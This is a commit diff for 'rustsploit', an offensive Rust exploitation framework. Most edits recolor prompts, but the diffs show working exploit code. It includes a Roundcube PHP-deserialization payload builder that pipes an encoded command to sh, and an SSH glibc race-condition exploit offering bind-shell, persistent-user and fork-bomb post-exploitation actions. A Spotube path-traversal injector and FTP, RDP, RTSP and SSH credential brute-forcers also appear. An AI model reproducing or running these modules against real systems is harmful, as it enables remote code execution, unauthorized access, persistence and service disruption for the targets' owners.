Compare commits

..

5 Commits

Author SHA1 Message Date
S.B e49f55eb21 Update README.md 2025-11-09 03:05:57 +02:00
S.B 9865225e99 Bump version to 0.2.0 and update sysinfo
Updated package version and dependencies.
2025-11-09 03:03:04 +02:00
S.B 3b33e40727 Add files via upload 2025-11-09 03:01:14 +02:00
S.B 759f733650 Create test.txt 2025-11-09 03:00:23 +02:00
S.B 5873ba0d5a Delete src directory 2025-11-09 02:59:43 +02:00
22 changed files with 569 additions and 215 deletions
+2 -2
View File
@@ -1,6 +1,6 @@
[package]
name = "rustsploit"
version = "0.1.0"
version = "0.2.0"
edition = "2021"
build = "build.rs"
@@ -31,7 +31,7 @@ rustls = "0.23.26"
webpki-roots = "0.26.8"
suppaftp = { version = "6.2.0", features = ["async", "async-native-tls","native-tls"] }
native-tls = "0.2.14"
sysinfo = { version = "0.34.2", features = ["multithread"] }
sysinfo = { version = "0.37.2", features = ["multithread"] }
#telnet
threadpool = "1.8.1"
+29 -33
View File
@@ -4,7 +4,7 @@ A Rust-based modular exploitation framework inspired by RouterSploit. This tool
![Screenshot](https://github.com/s-b-repo/rustsploit/raw/main/preview.png)
📚 **Developer Documentation**:
**Developer Documentation**:
→ [Full Dev Guide (modules, proxy logic, shell flow, dispatch system)](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
---
@@ -49,8 +49,6 @@ added uniview_nvr_pwd_disclosure
added ssdp_msearch
added hearbleed info leak from server saved to a bin file
added port scanner
added ping_sweep network scanner
added http_title_scanner
added find command
updated docs
created docs
@@ -66,27 +64,27 @@ added rtsp_bruteforce module
dynamic modules listing and colored listing
```
---
## Building & Running
## requirements
```
## 🚀 Building & Running
## 📦🛠️ requirements
`
sudo apt update
sudo apt install freerdp2-x11
```
for rdp bruteforce modudle
```
```
### 📦 Clone the Repository
### Clone the Repository
```
git clone https://github.com/s-b-repo/rustsploit.git
cd rustsploit
```
### 🛠️ Build the Project
### Build the Project
```
cargo build
@@ -102,9 +100,9 @@ To install:
cargo install
```
---
### 🖥️ Run in Interactive Shell Mode
### Run in Interactive Shell Mode
Launch the interactive RSF shell:
@@ -114,7 +112,7 @@ cargo run
Once inside the shell:
```text
```
rsf> help
rsf> modules
rsf> show_proxies
@@ -126,30 +124,30 @@ rsf> set target 192.168.1.1
rsf> run
```
🌀 Supports retrying proxies until one works (if proxy_on is enabled).
Supports retrying proxies until one works (if proxy_on is enabled).
---
### 🔧 Run in CLI Mode
### Run in CLI Mode
#### ▶ Exploit
```
cargo run -- --command exploit --module heartbleed --target 192.168.1.1
```
#### 🧪 Scanner
#### Scanner
```
cargo run -- --command scanner --module port_scanner --target 192.168.1.1
```
#### 🔐 Credentials
#### Credentials
```
cargo run -- --command creds --module ssh_brute --target 192.168.1.1
```
---
## 🌐 Proxy Retry Logic (Shell Mode)
## Proxy Retry Logic (Shell Mode)
- If proxies are loaded and `proxy_on` is active:
- Random proxy is used from list
@@ -158,7 +156,7 @@ cargo run -- --command creds --module ssh_brute --target 192.168.1.1
---
## 📂 Module System
## Module System
Modules are automatically detected using `build.rs` and registered as:
- Short: `port_scanner`
@@ -176,7 +174,7 @@ pub async fn run_interactive(target: &str) -> Result<()>
---
## 🧼 Shell State
## Shell State
The shell keeps:
- Current module
@@ -187,27 +185,25 @@ No session state is saved — everything resets on restart.
---
## 💡 Want to Add a Module?
## Want to Add a Module?
See the full [Developer Guide](https://github.com/s-b-repo/rustsploit/blob/main/docs/readme.md)
Includes:
- How to write modules
- 🧠 Auto-dispatch system explained
- 📦 Module placement
- 🌐 Proxy logic details
- 🔍 Scanner vs Exploit vs Credential paths
- How to write modules
- Auto-dispatch system explained
- Module placement
- Proxy logic details
- Scanner vs Exploit vs Credential paths
---
## 👥 Contributors
## Contributors
- **Main Developer**: me.
- **Language**: 100% Rust.
- **Inspired by**: RouterSploit, Metasploit, pwntools
## 👥 Credits
## Credits
- **wordlists*: seclists & me
---
+1 -1
View File
@@ -163,7 +163,7 @@ Then:
```
rsf> help
rsf> modules
rsf> use scanners/ping_sweep
rsf> use scanners/port_scanner
rsf> set target 192.168.0.1
rsf> run
```
+6 -5
View File
@@ -1,4 +1,5 @@
use anyhow::{anyhow, Result};
use colored::*;
use suppaftp::{
AsyncFtpStream,
AsyncNativeTlsFtpStream,
@@ -331,7 +332,7 @@ async fn try_ftp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}: ", msg);
print!("{}", format!("{}: ", msg).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -339,12 +340,12 @@ fn prompt_required(msg: &str) -> Result<String> {
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
}
println!("This field is required.");
println!("{}", "This field is required.".yellow());
}
}
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", msg, default);
print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -359,7 +360,7 @@ fn prompt_default(msg: &str, default: &str) -> Result<String> {
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default_char = if default_yes { "y" } else { "n" };
loop {
print!("{} (y/n) [{}]: ", msg, default_char);
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -368,7 +369,7 @@ fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
"" => return Ok(default_yes),
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
_ => println!("Invalid input. Please enter 'y' or 'n'."),
_ => println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow()),
}
}
}
+6 -5
View File
@@ -1,4 +1,5 @@
use anyhow::Result;
use colored::*;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
@@ -175,7 +176,7 @@ async fn try_rdp_login(addr: &str, user: &str, pass: &str) -> Result<bool> {
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}: ", msg);
print!("{}", format!("{}: ", msg).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -183,13 +184,13 @@ fn prompt_required(msg: &str) -> Result<String> {
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("This field is required. Please provide a value.");
println!("{}", "This field is required. Please provide a value.".yellow());
}
}
}
fn prompt_default(msg: &str, default_val: &str) -> Result<String> {
print!("{} [{}]: ", msg, default_val);
print!("{}", format!("{} [{}]: ", msg, default_val).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -204,7 +205,7 @@ fn prompt_default(msg: &str, default_val: &str) -> Result<String> {
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let options = if default_yes { "(Y/n)" } else { "(y/N)" };
loop {
print!("{} {} : ", msg, options);
print!("{}", format!("{} {} : ", msg, options).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -216,7 +217,7 @@ fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("Invalid input. Please enter 'y', 'yes', 'n', or 'no'.");
println!("{}", "Invalid input. Please enter 'y', 'yes', 'n', or 'no'.".yellow());
}
}
}
@@ -1,6 +1,7 @@
use anyhow::{anyhow, Result};
use base64::engine::general_purpose::STANDARD as Base64;
use base64::Engine as _;
use colored::*;
use std::{
fs::File,
io::{BufRead, BufReader, Write},
@@ -295,7 +296,7 @@ async fn try_rtsp_login(
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}: ", msg);
print!("{}", format!("{}: ", msg).cyan().bold());
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -303,12 +304,12 @@ fn prompt_required(msg: &str) -> Result<String> {
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
}
println!("This field is required.");
println!("{}", "This field is required.".yellow());
}
}
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", msg, default);
print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -319,7 +320,7 @@ fn prompt_default(msg: &str, default: &str) -> Result<String> {
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default = if default_yes { "y" } else { "n" };
loop {
print!("{} (y/n) [{}]: ", msg, default);
print!("{}", format!("{} (y/n) [{}]: ", msg, default).cyan().bold());
std::io::Write::flush(&mut std::io::stdout())?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -327,7 +328,7 @@ fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
"" => return Ok(default_yes),
"y" | "yes" => return Ok(true),
"n" | "no" => return Ok(false),
_ => println!("Invalid input. Please enter 'y' or 'n'."),
_ => println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow()),
}
}
}
+6 -5
View File
@@ -1,4 +1,5 @@
use anyhow::{anyhow, Result};
use colored::*;
use ssh2::Session;
use std::{
fs::File,
@@ -206,7 +207,7 @@ fn format_host_port(input: &str) -> Result<String> {
fn prompt_required(msg: &str) -> Result<String> {
loop {
print!("{}: ", msg);
print!("{}", format!("{}: ", msg).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -214,13 +215,13 @@ fn prompt_required(msg: &str) -> Result<String> {
if !trimmed.is_empty() {
return Ok(trimmed.to_string());
} else {
println!("This field is required.");
println!("{}", "This field is required.".yellow());
}
}
}
fn prompt_default(msg: &str, default: &str) -> Result<String> {
print!("{} [{}]: ", msg, default);
print!("{}", format!("{} [{}]: ", msg, default).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -235,7 +236,7 @@ fn prompt_default(msg: &str, default: &str) -> Result<String> {
fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
let default_char = if default_yes { "y" } else { "n" };
loop {
print!("{} (y/n) [{}]: ", msg, default_char);
print!("{}", format!("{} (y/n) [{}]: ", msg, default_char).cyan().bold());
std::io::stdout().flush()?;
let mut s = String::new();
std::io::stdin().read_line(&mut s)?;
@@ -247,7 +248,7 @@ fn prompt_yes_no(msg: &str, default_yes: bool) -> Result<bool> {
} else if input == "n" || input == "no" {
return Ok(false);
} else {
println!("Invalid input. Please enter 'y' or 'n'.");
println!("{}", "Invalid input. Please enter 'y' or 'n'.".yellow());
}
}
}
+1 -1
View File
@@ -13,6 +13,6 @@ pub mod acti;
pub mod zte;
pub mod ivanti;
pub mod apache_tomcat;
pub mod palto_alto;
pub mod palo_alto;
pub mod roundcube;
@@ -108,7 +108,7 @@ pub async fn run(target: &str) -> Result<()> {
banner();
let mut port_input = String::new();
print!("Enter target port (default 443): ");
print!("{}", "Enter target port (default 443): ".cyan().bold());
io::stdout().flush()?;
io::stdin().read_line(&mut port_input)?;
let port: u16 = port_input.trim().parse().unwrap_or(443);
+2 -1
View File
@@ -1,4 +1,5 @@
use anyhow::Result;
use colored::*;
use rand::{seq::SliceRandom, rng};
use std::{
fs,
@@ -9,7 +10,7 @@ use std::{
use base64::{engine::general_purpose::STANDARD as BASE64_STANDARD, Engine as _};
fn prompt(prompt: &str) -> Result<String> {
print!("{prompt}");
print!("{}", prompt.cyan().bold());
io::stdout().flush()?;
let mut buffer = String::new();
io::stdin().read_line(&mut buffer)?;
@@ -4,6 +4,7 @@
use rand::prelude::*;
use anyhow::Result;
use colored::*;
use rand::{rng, seq::SliceRandom, Rng};
use std::io::{self, Write as IoWrite};
use tokio::fs::File as TokioFile;
@@ -285,7 +286,8 @@ call :SleepS {random_sleep_lo}
/// // Prompt user, fallback to default if empty input
fn prompt(msg: &str, default: Option<&str>) -> String {
print!("{}{}: ", msg, default.map_or("".to_string(), |d| format!(" [{}]", d)));
let default_str = default.map_or("".to_string(), |d| format!(" [{}]", d));
print!("{}", format!("{}{}: ", msg, default_str).cyan().bold());
io::stdout().flush().unwrap();
let mut input = String::new();
io::stdin().read_line(&mut input).unwrap();
@@ -2,15 +2,14 @@ use anyhow::{anyhow, Result};
use data_encoding::BASE32_NOPAD;
use md5;
use rand::Rng;
use rand::distr::Alphanumeric;
use base64::Engine as _;
use regex::Regex;
use reqwest::{Client, cookie::Jar, redirect::Policy};
use std::io::{self, Write};
use std::sync::Arc;
use std::time::{SystemTime, UNIX_EPOCH};
/// Decode base64 constant for small transparent PNG
use rand::distr::Alphanumeric;
/// // Decode base64 constant for small transparent PNG
fn transparent_png() -> Vec<u8> {
const PNG_B64: &str = "iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAACklEQVR4nGMAAQAABQABDQottAAAAABJRU5ErkJggg==";
base64::engine::general_purpose::STANDARD
@@ -18,7 +17,7 @@ fn transparent_png() -> Vec<u8> {
.unwrap_or_default()
}
/// Build the serialized PHP payload using Crypt_GPG_Engine gadget
/// // Build the serialized PHP payload using Crypt_GPG_Engine gadget
fn build_serialized_payload(cmd: &str) -> String {
let encoded = BASE32_NOPAD.encode(cmd.as_bytes());
let gpgconf = format!("echo \"{}\"|base32 -d|sh &#", encoded);
@@ -31,13 +30,13 @@ fn build_serialized_payload(cmd: &str) -> String {
fn generate_from() -> &'static str {
const OPTIONS: [&str; 6] = ["compose", "reply", "import", "settings", "folders", "identity"];
let idx = rand::thread_rng().gen_range(0..OPTIONS.len());
let idx = rand::rng().random_range(0..OPTIONS.len());
OPTIONS[idx]
}
fn generate_id() -> String {
let mut rand_bytes = [0u8; 8];
rand::thread_rng().fill(&mut rand_bytes);
rand::rng().fill(&mut rand_bytes);
let timestamp = SystemTime::now()
.duration_since(UNIX_EPOCH)
.unwrap()
@@ -117,8 +116,8 @@ async fn login(client: &Client, base: &str, username: &str, password: &str, host
async fn upload_payload(client: &Client, base: &str, filename: &str) -> Result<()> {
let png = transparent_png();
let boundary: String = rand::thread_rng()
.sample_iter(Alphanumeric)
let boundary: String = rand::rng()
.sample_iter(&Alphanumeric)
.take(8)
.map(char::from)
.collect();
@@ -152,7 +151,7 @@ async fn upload_payload(client: &Client, base: &str, filename: &str) -> Result<(
Ok(())
}
/// Entry point for dispatcher
/// // Entry point for dispatcher
pub async fn run(target: &str) -> Result<()> {
let mut base_url = target.trim().to_string();
if !base_url.starts_with("http://") && !base_url.starts_with("https://") {
@@ -160,7 +159,7 @@ pub async fn run(target: &str) -> Result<()> {
}
base_url = base_url.trim_end_matches('/').to_string();
// HTTP client with cookies and no redirects
// // HTTP client with cookies and no redirects
let jar = Jar::default();
let client = Client::builder()
.cookie_provider(Arc::new(jar))
@@ -214,4 +213,3 @@ pub async fn run(target: &str) -> Result<()> {
let serialized = build_serialized_payload(command);
upload_payload(&client, &base_url, &serialized).await
}
+5 -4
View File
@@ -4,6 +4,7 @@
//// no auth when you use api and can be excuted locally
//// src/modules/exploits/spotube/spotube.rs
use anyhow::{Context, Result};
use colored::*;
use futures_util::{SinkExt, StreamExt};
use reqwest::Client;
use serde_json::json;
@@ -71,7 +72,7 @@ async fn execute(host: &str, port: &str, path: &str) -> Result<()> {
// //// // Sends a malicious 'load' event over WS with a track name containing ../
async fn ws_inject_path_traversal(host: &str, port: &str) -> Result<()> {
// prompt for malicious filename
print!("Enter malicious filename (e.g. ../evil.sh): ");
print!("{}", "Enter malicious filename (e.g. ../evil.sh): ".cyan().bold());
io::stdout().flush()?;
let mut name = String::new();
io::stdin().read_line(&mut name)?;
@@ -81,7 +82,7 @@ async fn ws_inject_path_traversal(host: &str, port: &str) -> Result<()> {
};
// prompt for fake track ID
print!("Enter fake track ID (e.g. INJECT1): ");
print!("{}", "Enter fake track ID (e.g. INJECT1): ".cyan().bold());
io::stdout().flush()?;
let mut tid = String::new();
io::stdin().read_line(&mut tid)?;
@@ -91,7 +92,7 @@ async fn ws_inject_path_traversal(host: &str, port: &str) -> Result<()> {
};
// prompt for codec extension
print!("Enter codec extension (e.g. mp3): ");
print!("{}", "Enter codec extension (e.g. mp3): ".cyan().bold());
io::stdout().flush()?;
let mut cd = String::new();
io::stdin().read_line(&mut cd)?;
@@ -154,7 +155,7 @@ pub async fn run(target: &str) -> Result<()> {
let host = target.to_string(); // use target passed from set command
// //// // port prompt (optional override)
print!("Enter port [17086]: ");
print!("{}", "Enter port [17086]: ".cyan().bold());
io::stdout().flush()?;
let mut p = String::new();
io::stdin().read_line(&mut p)?;
@@ -1,9 +1,10 @@
use std::io::{self, ErrorKind, Write};
use std::sync::Arc;
use anyhow::{Result, bail, Context};
use colored::*;
use tokio::io::{AsyncReadExt, AsyncWriteExt};
use tokio::net::TcpStream;
use tokio::time::{sleep, Duration, Instant};
use tokio::time::{sleep, timeout, Duration, Instant};
use tokio::sync::Semaphore;
use futures_util::stream::{FuturesUnordered, StreamExt};
@@ -76,7 +77,7 @@ fn normalize_target(ip: &str, port: u16) -> Result<String> {
}
async fn handle_bind_shell_session(conn: TcpStream) -> anyhow::Result<()> {
println!("[*] Connected! Interactive shell below (type 'exit' to quit):");
println!("{}", "[*] Connected! Interactive shell below (type 'exit' to quit):".green().bold());
let (mut rd, mut wr) = tokio::io::split(conn);
let mut stdin = tokio::io::stdin();
let mut stdout = tokio::io::stdout();
@@ -110,7 +111,7 @@ async fn handle_bind_shell_session(conn: TcpStream) -> anyhow::Result<()> {
});
let _ = tokio::try_join!(reader, writer);
println!("[*] Shell session ended.");
println!("{}", "[*] Shell session ended.".yellow());
Ok(())
}
@@ -129,9 +130,10 @@ async fn recv_retry(stream: &mut TcpStream, buf: &mut [u8]) -> Result<usize> {
loop {
match stream.read(buf).await {
Ok(n) if n > 0 => return Ok(n),
Ok(_) => bail!("Connection closed while receiving data"),
Err(ref e) if e.kind() == ErrorKind::WouldBlock => {
sleep(Duration::from_millis(1)).await;
Ok(0) => bail!("Connection closed while receiving data"),
Ok(_) => bail!("Unexpected read result"),
Err(ref e) if e.kind() == ErrorKind::WouldBlock || e.kind() == ErrorKind::TimedOut => {
sleep(Duration::from_millis(10)).await;
continue;
}
Err(e) => return Err(e.into()),
@@ -211,27 +213,28 @@ async fn attempt_race_condition(mut stream: TcpStream, parsing_time: f64, glibc_
let calculated_wait_time = LOGIN_GRACE_TIME - parsing_time - 0.001;
if calculated_wait_time < 0.0 {
println!("[!] Warning: Calculated wait time is negative ({:.4}s). Clamping to 0.", calculated_wait_time);
println!("{}", format!("[!] Warning: Calculated wait time is negative ({:.4}s). Clamping to 0.", calculated_wait_time).yellow());
}
let wait_time_duration = Duration::from_secs_f64(calculated_wait_time.max(0.0));
sleep(wait_time_duration).await;
stream.write_all(&public_key_packet_data[public_key_packet_data.len() - 1..]).await?;
let mut buf = [0u8; 1024];
match stream.read(&mut buf).await {
Ok(n) if n > 0 && !buf.starts_with(b"SSH-2.0-") => Ok(true),
Ok(0) => Ok(true),
Err(_) => Ok(true),
_ => Ok(false),
match timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
Ok(Ok(n)) if n > 0 && !buf[..n.min(8)].starts_with(b"SSH-2.0-") => Ok(true),
Ok(Ok(0)) => Ok(true),
Ok(Ok(_)) => Ok(false),
Ok(Err(_)) => Ok(true),
Err(_) => Ok(true), // Timeout might indicate success
}
}
fn print_post_actions() {
println!("Available Post-Ex Actions:");
println!(" 1. Bind Shell (port {})", BIND_SHELL_PORT);
println!(" 2. Persistent user '{}'", PERSISTENT_USER);
println!(" 3. Fork bomb (Denial/Crash)");
println!(" 4. Interactive PTY shell (recommended)");
println!("{}", "Available Post-Ex Actions:".cyan().bold());
println!(" 1. {} (port {})", "Bind Shell".green(), BIND_SHELL_PORT);
println!(" 2. {} user '{}'", "Persistent".green(), PERSISTENT_USER);
println!(" 3. {} (Denial/Crash)", "Fork bomb".red());
println!(" 4. {} (recommended)", "Interactive PTY shell".green().bold());
}
fn get_postex_command(action: u8) -> String {
@@ -251,10 +254,10 @@ fn get_postex_command(action: u8) -> String {
}
async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
println!("[*] Target: {}:{}", target_ip, port_num);
println!("{}", format!("[*] Target: {}:{}", target_ip, port_num).cyan().bold());
print_post_actions();
print!("Select post-ex action [1-4, default 4]: ");
print!("{}", "Select post-ex action [1-4, default 4]: ".cyan().bold());
std::io::stdout().flush().ok();
let mut choice_str = String::new();
std::io::stdin().read_line(&mut choice_str).ok();
@@ -262,7 +265,7 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
let num_attempts_per_base: usize;
loop {
print!("Enter the number of attempts per GLIBC base: ");
print!("{}", "Enter the number of attempts per GLIBC base: ".cyan().bold());
std::io::stdout().flush().context("Failed to flush stdout for attempts input")?;
let mut attempts_str = String::new();
std::io::stdin().read_line(&mut attempts_str).context("Failed to read number of attempts")?;
@@ -272,7 +275,7 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
break;
}
_ => {
println!("[!] Invalid input. Please enter a positive integer for the number of attempts.");
println!("{}", "[!] Invalid input. Please enter a positive integer for the number of attempts.".yellow());
}
}
}
@@ -288,9 +291,9 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
current_base += GLIBC_STEP;
}
println!("[*] Brute-forcing GLIBC base from 0x{:x} to 0x{:x} with step 0x{:x}", GLIBC_BASE_START, GLIBC_BASE_END, GLIBC_STEP);
println!("[*] Total GLIBC bases to check: {}", glibc_bases.len());
println!("[*] Attempts per GLIBC base: {}", num_attempts_per_base);
println!("{}", format!("[*] Brute-forcing GLIBC base from 0x{:x} to 0x{:x} with step 0x{:x}", GLIBC_BASE_START, GLIBC_BASE_END, GLIBC_STEP).cyan());
println!("{}", format!("[*] Total GLIBC bases to check: {}", glibc_bases.len()).cyan());
println!("{}", format!("[*] Attempts per GLIBC base: {}", num_attempts_per_base).cyan());
for glibc_base_addr in glibc_bases {
@@ -324,7 +327,7 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
};
if attempt_race_condition(stream, parsing_time, glibc_base_addr).await.unwrap_or(false) {
println!("[+] Exploit succeeded! GLIBC base 0x{:x} (attempt {})", glibc_base_addr, attempt_num);
println!("{}", format!("[+] Exploit succeeded! GLIBC base 0x{:x} (attempt {})", glibc_base_addr, attempt_num).green().bold());
if !cmd_clone.is_empty() {
println!("[*] Post-ex command to execute (conceptually): {}", cmd_clone);
@@ -375,10 +378,10 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
while let Some(task_result) = tasks.next().await {
match task_result {
Ok(Ok(true)) => {
println!("[SUCCESS] Exploit Succeeded! One of the attempts was successful.");
println!("[*] Check chosen post-exploitation action effects.");
println!("{}", "[SUCCESS] Exploit Succeeded! One of the attempts was successful.".green().bold());
println!("{}", "[*] Check chosen post-exploitation action effects.".cyan());
if mode_choice == 1 {
println!("[*] If you chose a bind shell, connect with: nc {} {}", target_ip, BIND_SHELL_PORT);
println!("{}", format!("[*] If you chose a bind shell, connect with: nc {} {}", target_ip, BIND_SHELL_PORT).cyan());
}
success_found = true;
break;
@@ -390,8 +393,8 @@ async fn execute_exploit_logic(target_ip: String, port_num: u16) -> Result<()> {
}
if !success_found {
println!("[-] All attempts finished. Exploit likely unsuccessful with current parameters.");
println!("[-] Try adjusting GLIBC range, timing, or concurrency if target is vulnerable.");
println!("{}", "[-] All attempts finished. Exploit likely unsuccessful with current parameters.".red());
println!("{}", "[-] Try adjusting GLIBC range, timing, or concurrency if target is vulnerable.".yellow());
}
Ok(())
}
@@ -408,7 +411,7 @@ pub async fn run(target_info: &str) -> anyhow::Result<()> {
let port_num: u16;
loop {
print!("Enter the target port number (e.g., 22): ");
print!("{}", "Enter the target port number (e.g., 22): ".cyan().bold());
io::stdout().flush().context("Failed to flush stdout")?;
let mut port_input = String::new();
@@ -420,10 +423,10 @@ pub async fn run(target_info: &str) -> anyhow::Result<()> {
break;
}
Ok(_) => {
println!("[!] Invalid port number. Port must be a positive integer (1-65535). Please try again.");
println!("{}", "[!] Invalid port number. Port must be a positive integer (1-65535). Please try again.".yellow());
}
Err(_) => {
println!("[!] Invalid input. Please enter a valid port number (1-65535).");
println!("{}", "[!] Invalid input. Please enter a valid port number (1-65535).".yellow());
}
}
}
-4
View File
@@ -1,5 +1 @@
pub mod uniview_nvr_pwd_disclosure;
// pub mod
@@ -1,7 +1,7 @@
use aes::Aes128;
use anyhow::Result;
use cipher::{BlockDecrypt, KeyInit};
use cipher::generic_array::GenericArray;
use cipher::{BlockDecrypt, KeyInit, Block};
use colored::*;
use reqwest::{Client, cookie::Jar};
use std::{
fs::{self, File},
@@ -16,8 +16,6 @@ use std::net::ToSocketAddrs;
/// AES-128 ECB decrypt without padding
fn decrypt_ecb_nopad(data: &[u8], key: &[u8]) -> Result<Vec<u8>> {
use cipher::consts::U16;
if data.len() % 16 != 0 {
anyhow::bail!("ECB decryption requires block-aligned data");
}
@@ -26,7 +24,9 @@ fn decrypt_ecb_nopad(data: &[u8], key: &[u8]) -> Result<Vec<u8>> {
let mut output = Vec::with_capacity(data.len());
for chunk in data.chunks(16) {
let mut block = GenericArray::<u8, U16>::clone_from_slice(chunk);
let mut arr = [0u8; 16];
arr.copy_from_slice(chunk);
let mut block = Block::<Aes128>::from(arr);
cipher.decrypt_block(&mut block);
output.extend_from_slice(&block);
}
@@ -47,7 +47,8 @@ fn parse_target(target: &str) -> Result<(String, u16)> {
return Ok((parts[0].to_string(), port));
}
println!("[?] No port provided. Enter port:");
print!("{}", "[?] No port provided. Enter port: ".cyan().bold());
std::io::stdout().flush()?;
let mut input = String::new();
std::io::stdin().read_line(&mut input)?;
let port = input.trim().parse::<u16>()?;
+2 -1
View File
@@ -1,4 +1,5 @@
use anyhow::{Result, Context};
use colored::*;
use ipnet::IpNet;
use std::net::IpAddr;
use std::sync::Arc;
@@ -22,7 +23,7 @@ async fn prompt_for_cidr(initial: &str) -> Result<String> {
loop {
// // If empty, ask user
if input.is_empty() {
print!("Enter target (CIDR, e.g., 192.168.1.0/24): ");
print!("{}", "Enter target (CIDR, e.g., 192.168.1.0/24): ".cyan().bold());
io::stdout().flush().ok();
input.clear();
io::stdin().read_line(&mut input)?;
+432 -86
View File
@@ -1,17 +1,20 @@
use anyhow::{Result, anyhow};
use colored::*;
use std::{
fs::File,
io::{self, Write, BufWriter},
net::{SocketAddr, ToSocketAddrs},
sync::{Arc, Mutex},
time::Instant,
};
use tokio::{
io::{AsyncReadExt, AsyncWriteExt},
net::{TcpStream, UdpSocket},
sync::Semaphore,
time::{timeout, Duration},
};
#[derive(Debug)]
#[derive(Debug, Clone)]
pub struct ScanSettings {
pub concurrency: usize,
pub timeout_secs: u64,
@@ -19,17 +22,109 @@ pub struct ScanSettings {
pub verbose: bool,
pub scan_udp_enabled: bool,
pub output_file: String,
pub port_range: PortRange,
}
#[derive(Debug, Clone)]
pub enum PortRange {
All,
Custom { start: u16, end: u16 },
Common,
Top1000,
}
impl PortRange {
fn get_ports(&self) -> Vec<u16> {
match self {
PortRange::All => (1..=65535).collect(),
PortRange::Custom { start, end } => (*start..=*end).collect(),
PortRange::Common => COMMON_PORTS.to_vec(),
PortRange::Top1000 => (1..=1000).collect(),
}
}
}
// Common ports list
const COMMON_PORTS: &[u16] = &[
21, 22, 23, 25, 53, 80, 110, 111, 135, 139, 143, 443, 445, 993, 995, 1723, 3306, 3389, 5900, 8080,
];
// Service detection map
fn get_service_name(port: u16) -> &'static str {
match port {
21 => "FTP",
22 => "SSH",
23 => "Telnet",
25 => "SMTP",
53 => "DNS",
80 => "HTTP",
110 => "POP3",
111 => "RPC",
135 => "MSRPC",
139 => "NetBIOS",
143 => "IMAP",
443 => "HTTPS",
445 => "SMB",
993 => "IMAPS",
995 => "POP3S",
1723 => "PPTP",
3306 => "MySQL",
3389 => "RDP",
5900 => "VNC",
8080 => "HTTP-Proxy",
_ => "",
}
}
/// Interactive config prompt
pub fn prompt_settings() -> Result<ScanSettings> {
println!("{}", "\n=== Port Scanner Configuration ===".cyan().bold());
// Port range selection
println!("\n{}", "Port Range Options:".yellow());
println!(" 1. All ports (1-65535)");
println!(" 2. Common ports (21, 22, 23, 25, 53, 80, 443, etc.)");
println!(" 3. Top 1000 ports");
println!(" 4. Custom range");
let range_choice = prompt_usize("Select option (1-4) [1]: ")?;
let port_range = match range_choice {
1 | 0 => PortRange::All,
2 => PortRange::Common,
3 => PortRange::Top1000,
4 => {
let start_val: usize = prompt_usize("Start port: ")?;
let end_val: usize = prompt_usize("End port: ")?;
if start_val > 65535 || start_val == 0 {
return Err(anyhow!("Start port must be between 1 and 65535"));
}
if end_val > 65535 || end_val == 0 {
return Err(anyhow!("End port must be between 1 and 65535"));
}
let start: u16 = start_val.try_into().map_err(|_| anyhow!("Invalid start port"))?;
let end: u16 = end_val.try_into().map_err(|_| anyhow!("Invalid end port"))?;
if start > end {
return Err(anyhow!("Start port must be <= end port"));
}
PortRange::Custom { start, end }
}
_ => PortRange::All,
};
let ports = port_range.get_ports();
println!("{}", format!("[*] Selected {} ports to scan", ports.len()).green());
Ok(ScanSettings {
concurrency: prompt_usize("Concurrency: ")?,
timeout_secs: prompt_usize("Timeout (in seconds): ")? as u64,
show_only_open: prompt_bool("Show only open ports? (y/n): ")?,
verbose: prompt_bool("Verbose output? (y/n): ")?,
scan_udp_enabled: prompt_bool("Include UDP scan? (y/n): ")?,
output_file: prompt("Output filename: ")?,
